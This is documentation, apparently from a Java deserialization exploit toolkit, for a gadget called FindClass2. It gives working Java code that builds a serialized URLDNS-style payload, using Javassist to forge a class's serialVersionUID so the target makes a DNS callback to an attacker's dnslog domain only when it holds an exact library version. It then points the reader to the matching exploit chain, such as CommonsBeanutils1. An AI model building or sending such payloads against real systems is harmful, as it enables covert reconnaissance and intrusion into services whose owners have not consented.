- 类别:javanative 别名:— 优先级:20
- 作者:Ar3h
- 依赖:无(JDK
URL/HashMap+ Javassist 改写serialVersionUID)
FindClass 的「精确版」:构造 HashMap<URL, Class>,但 value 类被 Javassist 改写为指定 serialVersionUID 的同名类。反序列化时目标不仅要存在该类,且其 serialVersionUID 必须与投递的 suid 相等,才会通过 ObjectStreamClass 校验、继续算 key 哈希并触发 DNS。以此把「类是否存在」升级为「类是否为某个精确版本」的探测。
- 入口
tags:JavaNativeDeserialize、END—— 承接 Java 原生反序列化入口,自身即链尾。 - 衔接
nextTags:无。 excludes:无。
invoke → getObject 生成单个探测 payload:
public Object getObject() throws Exception {
String url = "http://" + this.domain;
return this.getHashMapPayload(url, this.className, this.suid);
}getHashMapPayload 与 FindClass 的 URLDNS 手法一致(置 0 再复位 -1 避免本机出网),差别在 value 类由带 suid 的版本生成:
public HashMap getHashMapPayload(String urls, String clazzName, String suid) {
HashMap<URL, Class> hashMap = new HashMap<>();
URL url = new URL(urls);
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0); // put 时不触发 DNS
Class clazz = this.getClass(clazzName, suid);
hashMap.put(url, clazz);
f.set(url, -1); // 复位,目标反序列化时重算 hashCode → DNS
return hashMap;
}核心是用 Javassist 把目标类改成指定 suid 后 defineClass:
public static Class<?> getClazzWithSuid(String clazzName, String suid) {
CtClass ctClass = classPool.getOrNull(clazzName);
if (ctClass == null) ctClass = classPool.makeClass(clazzName); // 本地没有就造空类
else if (ctClass.isFrozen()) ctClass.defrost();
try { ctClass.removeField(ctClass.getDeclaredField("serialVersionUID")); } catch (NotFoundException e) {}
ctClass.addField(CtField.make(
String.format("private static final long serialVersionUID = %s;", suid), ctClass)); // 写入指定 suid
byte[] byteCode = ctClass.toBytecode();
return new TemporaryClassLoader().defineClass(clazzName, byteCode); // 用临时 ClassLoader 载入
}- suid 即条件:序列化一个
Class对象时,写出的类描述(ObjectStreamClass)包含该类的serialVersionUID。目标反序列化读到这个 value 时,会用本地同名类做兼容性校验:若本地 suid 与流中 suid 不一致,抛InvalidClassException,entry 的putVal不执行,DNS 不发出。因此「收到 DNS」== 「目标存在该类且 suid 恰等于投递值」,从而精确锁定版本(不同版本库的同名类往往 suid 不同)。 - 与 FindClass 只判断「类是否存在」相比,这里叠加了 suid 精确匹配,误报更少、可定位到具体依赖版本(如 CommonsBeanutils 1.9.4 的
BeanComparatorsuid =-2044202215314119608L)。 getClass用MD5(className+suid)做缓存 key,避免重复生成;生成后还会反射读回serialVersionUID打印,便于本地核对。TemporaryClassLoader是内部类,仅暴露defineClass(name, byteCode),用一次性 ClassLoader 载入改写后的字节码,避免污染攻击机的类空间。- 注:类头
extends "ClassLoader"元数据实际指内部辅助类TemporaryClassLoader extends ClassLoader,FindClass2本身只implements Gadget。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
domain |
探测成功后访问的dnslog域名 | 外带 DNSLog 域名,如 xxx.dnslog.cn |
xxx.dnslog.cn |
— |
className |
需要探测的类名 | 目标类全限定名 | org.apache.commons.beanutils.BeanComparator |
— |
suid |
设置类的suid | 期望匹配的 serialVersionUID(示例:CommonsBeanutils 1.9.4 的 BeanComparator 为 -2044202215314119608L) |
-2044202215314119608L |
— |
- 无第三方依赖,Javassist 仅用于攻击机侧改写字节码。
- 用于精确探测目标类的版本:同名类不同版本 suid 常不同,借
InvalidClassException的「suid 不匹配即失败」筛选出精确命中的版本。 - 只需探测类是否存在(不关心版本)时用更省事的 FindClass。
- 依赖目标能对外 DNS;被 RASP/黑名单拦截或类走非默认 ClassLoader 时可能影响结果。
- 自由构件,未直接出现在预设链(
usedInChains为空)。作为独立精确探测 sink,直接由 Java 原生反序列化入口投递。
- 同族基础版:FindClass(只探测类是否存在,支持内置字典/批量)。
- 时间侧信道精确版:FindClassByBomb2(无出网时用耗时 + suid 精确探测)。
- 探到精确版本后转入对应利用链(如命中
BeanComparator 1.9.4→ CommonsBeanutils1)。